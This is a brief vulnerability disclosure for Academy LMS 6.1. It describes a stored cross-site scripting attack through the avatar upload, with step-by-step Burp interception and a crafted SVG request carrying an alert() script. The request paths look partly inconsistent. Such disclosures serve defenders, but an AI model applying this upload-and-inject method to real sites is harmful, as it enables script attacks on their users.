Academy LMS 6.1 Cross Site Scripting / File Upload

# Exploit Title: Academy LMS 6.1 - Arbitrary File Upload# Exploit Author: CraCkEr# Date: 05/08/2023# Vendor: Creativeitem# Vendor Homepage: https://academylms.net/# Software Link: https://demo.academylms.net/# Tested on: Windows 10 Pro# Impact: Allows User to upload files to the web server# CWE: CWE-79 - CWE-74 - CWE-707## DescriptionAllows Attacker to upload malicious files onto the server, such as Stored XSS## Steps to Reproduce:1. Login as a [Normal User]2. In [User Dashboard], go to [Profile Settings] on this Path: https://website/dashboard/#/settings3. Upload any Image into the [avatar]4. Capture the POST Request with [Burp Proxy Intercept]5. Edit the file extension to .svg & inject your [Evil-Code] or [Stored XSS] -----------------------------------------------------------POST /wp-admin/async-upload.php HTTP/2-----------------------------------------------------------Content-Disposition: form-data; name="async-upload"; filename="ahacka.svg"Content-Type: image/svg+xml<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  <script type="text/javascript">    alert("XSS by CraCkEr");  </script></svg>-----------------------------------------------------------6. Send the Request7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS]8. Access your Uploded Evil file on this Path: https://website/wp-content/uploads/***/**/*****.svg[-] Done